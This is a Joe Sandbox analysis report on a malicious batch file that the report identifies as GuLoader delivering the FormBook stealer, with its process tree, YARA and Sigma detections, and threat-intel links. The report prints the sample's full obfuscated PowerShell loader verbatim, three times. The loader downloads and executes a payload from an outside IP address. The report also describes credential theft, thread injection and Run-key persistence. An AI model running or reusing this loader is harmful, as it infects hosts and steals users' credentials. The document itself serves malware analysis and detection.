Edit tour

Windows Analysis Report
Doc_004024024001.bat

Overview

General Information

Sample name:	Doc_004024024001.bat
Analysis ID:	1431497
MD5:	dfdb6404a262056b5e81e9bd0814d8aa
SHA1:	c6f2e620bbe3539d4a962c8b5509445ca0be2333
SHA256:	780eb381525edae3d27084370ae2e02dc4607842ccee9a8daae733475eb699bc
Tags:	bat
Infos:

Detection

FormBook, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Yara detected FormBook

Yara detected GuLoader

Found direct / indirect Syscall (likely to bypass EDR)

Found suspicious powershell code related to unpacking or dynamic code loading

Hides threads from debuggers

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Very long command line found

Writes to foreign memory regions

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 5828 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Doc_004024024001.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5984 cmdline: powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');Roebling (Takilman203 'B$Kg lRo,b,aPlM:KLPn.n i nMgBs.d.a gLe,n. R=, ,[,SRy.s t,e,mS.DTCe xDtO. EMn csofd.i,nSg ] : : A S C IPI .MG e.tRS.t.r,i n gD( $SHBeJa d.mLeEn ) ');Roebling (Takilman203 'S$.g l o,bPaRl :SR e n u.mCm e,rKeSrKePdceBsB= $sLBn,n,ipnag s d aDg eBn..,s u b s,tTrPi nPg (G2.7,5.3P9 0N,H2 6 5 4 1 )V ');Roebling $Renummereredes;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2032 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 6528 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');Roebling (Takilman203 'B$Kg lRo,b,aPlM:KLPn.n i nMgBs.d.a gLe,n. R=, ,[,SRy.s t,e,mS.DTCe xDtO. EMn csofd.i,nSg ] : : A S C IPI .MG e.tRS.t.r,i n gD( $SHBeJa d.mLeEn ) ');Roebling (Takilman203 'S$.g l o,bPaRl :SR e n u.mCm e,rKeSrKePdceBsB= $sLBn,n,ipnag s d aDg eBn..,s u b s,tTrPi nPg (G2.7,5.3P9 0N,H2 6 5 4 1 )V ');Roebling $Renummereredes;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 5856 cmdline: "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

wab.exe (PID: 2304 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

iqAcDmQSdyp.exe (PID: 5040 cmdline: "C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

AtBroker.exe (PID: 7076 cmdline: "C:\Windows\SysWOW64\AtBroker.exe" MD5: D5B61959A509BDA85300781F5A829610)

iqAcDmQSdyp.exe (PID: 5752 cmdline: "C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)

firefox.exe (PID: 4884 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

wab.exe (PID: 2228 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

rundll32.exe (PID: 3396 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

wab.exe (PID: 4564 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x7824e:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x61fad:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.2014092746.0000000005BA2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000005.00000002.2024565925.0000000008830000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2b720:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x1547f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x8ca5f6:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x8b4355:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x8ca5f6:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x8b4355:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000005.00000002.2024745379.0000000009228000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000002.00000002.2349440816.000001C0B94F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 5984	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x12bee9:$b2: ::FromBase64String( 0x12bf20:$b2: ::FromBase64String( 0x12bf58:$b2: ::FromBase64String( 0x12bf91:$b2: ::FromBase64String( 0x12bfcb:$b2: ::FromBase64String( 0x12c006:$b2: ::FromBase64String( 0x12c042:$b2: ::FromBase64String( 0x12c07f:$b2: ::FromBase64String( 0x12c0bd:$b2: ::FromBase64String( 0x12c0fc:$b2: ::FromBase64String( 0x12c13c:$b2: ::FromBase64String( 0x12c17d:$b2: ::FromBase64String( 0x12c1bf:$b2: ::FromBase64String( 0x12c202:$b2: ::FromBase64String( 0x12c246:$b2: ::FromBase64String( 0x12c28b:$b2: ::FromBase64String( 0x12c2d1:$b2: ::FromBase64String( 0x12c318:$b2: ::FromBase64String( 0x167d2:$s1: -join 0x1b57c:$s1: -join 0x20c74:$s1: -join
Process Memory Space: powershell.exe PID: 6528	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x23c406:$b2: ::FromBase64String( 0xe30b2:$s1: -join 0xf0187:$s1: -join 0xf3559:$s1: -join 0xf3c0b:$s1: -join 0xf56fc:$s1: -join 0xf7902:$s1: -join 0xf8129:$s1: -join 0xf8999:$s1: -join 0xf90d4:$s1: -join 0xf9106:$s1: -join 0xf914e:$s1: -join 0xf916d:$s1: -join 0xf99bd:$s1: -join 0xf9b39:$s1: -join 0xf9bb1:$s1: -join 0xf9c44:$s1: -join 0xf9eaa:$s1: -join 0xfc040:$s1: -join 0x10aa8a:$s1: -join 0x1201d2:$s1: -join
Click to see the 15 entries

Other

Source	Rule	Description	Author	Strings
amsi64_5984.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf1ab:$b2: ::FromBase64String( 0xc541:$s1: -join 0x5ced:$s4: += 0x5daf:$s4: += 0x9fd6:$s4: += 0xc0f3:$s4: += 0xc3dd:$s4: += 0xc523:$s4: += 0xe77a:$s4: += 0xe7fa:$s4: += 0xe8c0:$s4: += 0xe940:$s4: += 0xeb16:$s4: += 0xeb9a:$s4: += 0xcc63:$e4: Get-WmiObject 0xce52:$e4: Get-Process 0xceaa:$e4: Start-Process
amsi32_6528.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf113:$b2: ::FromBase64String( 0xc541:$s1: -join 0x5ced:$s4: += 0x5daf:$s4: += 0x9fd6:$s4: += 0xc0f3:$s4: += 0xc3dd:$s4: += 0xc523:$s4: += 0xe77a:$s4: += 0xe7fa:$s4: += 0xe8c0:$s4: += 0xe940:$s4: += 0xeb16:$s4: += 0xeb9a:$s4: += 0xcc63:$e4: Get-WmiObject 0xce52:$e4: Get-Process 0xceaa:$e4: Start-Process 0x162b2:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe" , CommandLine: "C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe" , CommandLine|base64offset|contains: )^, Image: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe, NewProcessName: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe, OriginalFileName: C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 2304, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe" , ProcessId: 5040, ProcessName: iqAcDmQSdyp.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Program Files (x86)\windows mail\wab.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\AtBroker.exe, ProcessId: 7076, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PX5H4

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');Roebling (Takilman203 'B$Kg lRo,b,aPlM:KLPn.n i nMgBs.d.a gLe,n. R=,

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Multi AV Scanner detection for domain / URL

Source: www.oyoing.com	Virustotal: Detection: 9%	Perma Link
Source: www.tyaer.com	Virustotal: Detection: 10%	Perma Link
Source: http://87.121.105.163	Virustotal: Detection: 18%	Perma Link

Yara detected FormBook

Source: Yara match	File source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
